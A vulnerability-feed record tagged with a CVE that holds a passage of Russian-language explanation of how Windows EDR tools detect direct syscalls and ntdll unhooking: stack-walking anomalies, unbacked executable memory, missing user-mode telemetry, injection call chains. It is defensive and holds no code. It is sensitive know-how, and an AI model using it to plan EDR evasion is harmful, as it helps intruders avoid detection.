{"uuid": "b15a8ece-f4e7-443b-991b-3faee796f43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://gist.github.com/hoOJluGun/b4509c6904e28fcb704d77ef867a897d", "content": "\u041d\u0438\u0436\u0435 \u2014 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u043f\u043e \u043b\u043e\u0433\u0438\u043a\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0430 Direct Syscalls \u0438 Unhooking \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0431\u0445\u043e\u0434\u0430. \u0424\u043e\u043a\u0443\u0441 \u2014 \u043d\u0430 \u0442\u043e\u043c, \u043a\u0430\u043a\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b Windows/EDR \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438 \u043a\u0430\u043a\u0438\u0435 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u043c.\n\n3. \u041e\u0431\u0445\u043e\u0434 \u0445\u0443\u043a\u043e\u0432 \u0438 \u043a\u0430\u043a EDR \u044d\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\n1. Direct Syscalls: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430\n\u0412 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u043c Windows-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0443\u0442\u044c \u043a \u044f\u0434\u0440\u0443 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:\n\napplication.exe / library.dll\n  \u2192 kernel32.dll / kernelbase.dll\n    \u2192 ntdll.dll!NtXxx / ZwXxx\n      \u2192 syscall\n        \u2192 ntoskrnl.exe\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 kernel-mode \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 syscall stub\u2019\u043e\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 ntdll.dll.\n\n\u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 EDR \u043d\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u043b \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 user-mode \u0445\u0443\u043a\u043e\u043c, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 \u0438 \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u044c:\n\n\u00ab\u041e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0442\u043e\u043a \u043f\u0440\u0438\u0448\u0451\u043b \u0432 syscall? \u041a\u0430\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432 \u0432 user-mode? \u0415\u0441\u0442\u044c \u043b\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f ntdll.dll?\u00bb\n\n2. \u041a\u0430\u043a EDR \u0432\u0438\u0434\u0438\u0442 Direct Syscall\nDirect Syscall \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u043e\u0434 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0442\u0430\u0442\u043d\u044b\u0439 ntdll!NtXxx, \u0430 \u0441\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u044f\u0434\u0440\u043e \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u043a\u043e\u0434\u0430.\n\n\u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0443\u044e \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044e:\n\n\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e:\nuser code \u2192 ntdll.dll syscall stub \u2192 kernel\n\n\u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e:\nuser code / \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 RX-\u0440\u0435\u0433\u0438\u043e\u043d \u2192 syscall \u2192 kernel\nEDR \u043c\u043e\u0436\u0435\u0442 \u043b\u043e\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443, \u0430 \u043f\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438.\n\nA. Stack Walking: \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044f \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0441\u0442\u0435\u043a\u0435\n\u041a\u043e\u0433\u0434\u0430 kernel-mode \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 EDR \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\n\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430;\n\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430;\n\u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 process/thread handle;\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection \u043f\u0430\u043c\u044f\u0442\u0438;\n\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0447\u0443\u0436\u043e\u0439 \u0430\u0434\u0440\u0435\u0441\u043d\u044b\u0439 space;\n\u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0441\u0435\u043a\u0446\u0438\u0438;\n\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 image;\n\u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u0441\u0442\u0435\u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c user-mode stack trace \u0447\u0435\u0440\u0435\u0437 ETW/\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440/\u0441\u0435\u043d\u0441\u043e\u0440\u044b.\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0435\u043a \u0434\u043b\u044f \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435:\n\nntdll.dll!NtAllocateVirtualMemory\nkernelbase.dll!VirtualAllocEx\napplication_module!...\n\u0438\u043b\u0438:\n\nntdll.dll!NtCreateThreadEx\nkernelbase.dll / custom runtime\napplication_module!...\n\u041f\u0440\u0438 Direct Syscall \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 1: \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 frame \u0438\u0437 ntdll.dll\n\u0415\u0441\u043b\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0432 \u044f\u0434\u0440\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c\u0443 \u0432\u044b\u0437\u043e\u0432\u0443, \u043d\u043e \u0441\u0442\u0435\u043a \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 ntdll.dll!NtXxx, \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b.\n\n\u0423\u0441\u043b\u043e\u0432\u043d\u043e:\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\nreturn address \u2208 ntdll.dll .text near NtXxx stub\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\nreturn address \u2208 unknown private RX memory\nreturn address \u2208 heap-backed executable region\nreturn address \u2208 manually mapped module\nreturn address \u2208 shellcode-like region\nEDR \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u043d \u0437\u043d\u0430\u0442\u044c \u0442\u043e\u0447\u043d\u044b\u0439 syscall number. \u0415\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e sensitive kernel transition \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b, \u043d\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 call chain \u043d\u0435 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u0448\u0442\u0430\u0442\u043d\u044b\u0439.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 2: return address \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0432 image-backed memory\nWindows memory regions \u0438\u043c\u0435\u044e\u0442 \u0442\u0438\u043f\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 VAD/\u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:\n\nMEM_IMAGE \u2014 \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a PE image;\nMEM_MAPPED \u2014 file mapping/section;\nMEM_PRIVATE \u2014 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0430\u0441\u0442\u043e heap/alloc.\n\u0414\u043b\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e ntdll.dll \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f:\n\nreturn address \u2192 MEM_IMAGE\nmodule \u2192 ntdll.dll\nsection \u2192 .text\nprotection \u2192 RX\nbacking file \u2192 \\SystemRoot\\System32\\ntdll.dll\n\u0414\u043b\u044f Direct Syscall \u0447\u0430\u0441\u0442\u043e \u0432\u0438\u0434\u043d\u0430 \u0438\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430:\n\nreturn address \u2192 MEM_PRIVATE\nprotection \u2192 RX / RWX\nno PE module metadata\nnot present in PEB loader list\nnot image-backed\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0439: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 kernel-mode \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u0438\u0437 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 3: syscall-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 stub\u2019\u043e\u0432\nEDR/\u0441\u0435\u043d\u0441\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c, \u0433\u0434\u0435 \u0432 user-mode \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u044f\u0434\u0440\u043e.\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439:\n\nsyscall instruction address \u2208 ntdll.dll .text\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439:\n\nsyscall instruction address \u2208 custom module\nsyscall instruction address \u2208 unpacked payload\nsyscall instruction address \u2208 JIT/unbacked RX memory\nsyscall instruction address \u2208 manually mapped ntdll copy\n\u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u0435\u0441\u043b\u0438 EDR \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u043e\u043a\u043e\u043b\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u0443\u0435\u0442 \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 ETW/kernel telemetry.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 4: \u0441\u0442\u0435\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438\u043b\u0438 \u201c\u043e\u0431\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u043c\u201d\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c call stack. \u0417\u0430\u0449\u0438\u0442\u0430 \u0432 \u043e\u0442\u0432\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 ntdll, \u0430 \u043d\u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0441\u0435\u0433\u043e \u0441\u0442\u0435\u043a\u0430:\n\n\u0432\u0430\u043b\u0438\u0434\u043d\u044b \u043b\u0438 frame pointers / unwind metadata;\n\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043b\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u043c call-sites;\n\u0435\u0441\u0442\u044c \u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0435 RUNTIME_FUNCTION entries \u0434\u043b\u044f x64 unwind;\n\u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043b\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 frame \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e;\n\u043d\u0435 \u043f\u0440\u044b\u0433\u0430\u0435\u0442 \u043b\u0438 \u0441\u0442\u0435\u043a \u0438\u0437 kernelbase \u0441\u0440\u0430\u0437\u0443 \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 RX-\u0440\u0435\u0433\u0438\u043e\u043d;\n\u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0439 \u0434\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\u0414\u043b\u044f x64 Windows \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 stack walking \u0447\u0430\u0441\u0442\u043e \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 unwind-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u0437 PE. \u0415\u0441\u043b\u0438 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 unwind metadata, \u0441\u0442\u0435\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c \u0438\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 5: \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c \u0438 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 user-mode \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0435\u0439\nEDR \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u043e\u0438.\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, kernel callback \u0432\u0438\u0434\u0438\u0442:\n\nProcess A opened Process B with rights allowing memory write/thread creation\n\u0438\u043b\u0438:\n\nProcess A changed memory protection to executable\n\u041d\u043e user-mode hook telemetry \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u0435\u043b\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432:\n\nNtOpenProcess\nNtAllocateVirtualMemory\nNtWriteVirtualMemory\nNtProtectVirtualMemory\nNtCreateThreadEx\n\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u044b\u0432:\n\nKernel-level fact exists,\nuser-mode API trail absent.\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043a bypass attempt: \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0445\u0443\u043a\u043d\u0443\u0442\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\nB. Direct Syscall \u043a\u0430\u043a behavioral pattern\n\u041e\u0434\u0438\u043d Direct Syscall \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. \u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0430\u0449\u0435 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\n1. Memory allocation in local/remote process\n2. Write-like behavior\n3. Protection change to executable\n4. Thread creation / APC / hijack\n5. Kernel event present\n6. User-mode API telemetry missing or inconsistent\n7. Stack transition bypasses ntdll\n\u0422\u043e \u0435\u0441\u0442\u044c EDR \u0438\u0449\u0435\u0442 \u043d\u0435 \u00ab\u043e\u0434\u043d\u0443 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e\u00bb, \u0430 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438.\n\n4. Unhooking: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0430\u043b\u0438\u0442\u0441\u044f\nUnhooking \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .text \u0441\u0435\u043a\u0446\u0438\u044e ntdll.dll, \u0437\u0430\u0442\u0435\u0440\u0435\u0432 inline hooks EDR \u0438 \u0432\u0435\u0440\u043d\u0443\u0432 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0439\u0442\u044b.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u043d\u0435 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u044b.\n\nA. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection .text \u0441\u0435\u043a\u0446\u0438\u0438 ntdll.dll\n\u0421\u0435\u043a\u0446\u0438\u044f .text \u0443 ntdll.dll \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0438 \u043e\u0431\u044b\u0447\u043d\u043e read-only:\n\nntdll.dll .text \u2192 RX / PAGE_EXECUTE_READ\n\u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0445\u0443\u043a\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 writable:\n\nRX \u2192 RWX\n\u0438\u043b\u0438\nRX \u2192 WRITECOPY / writable variant\n\u042d\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0443\u0440\u043e\u0432\u043d\u044f NtProtectVirtualMemory / VirtualProtect.\n\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nProcess modifies protection of memory range\nwhere:\n  range \u2208 ntdll.dll .text\n  new protection includes WRITE\n\u0421\u0430\u043c\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e DLL writable \u0443\u0436\u0435 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u0430. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d \u0443 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0447\u0442\u0438 \u043d\u0435\u0442.\n\nB. \u0417\u0430\u043f\u0438\u0441\u044c \u0432 .text \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL\n\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u2014 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0431\u0430\u0439\u0442\u043e\u0432.\n\nEDR \u043c\u043e\u0436\u0435\u0442 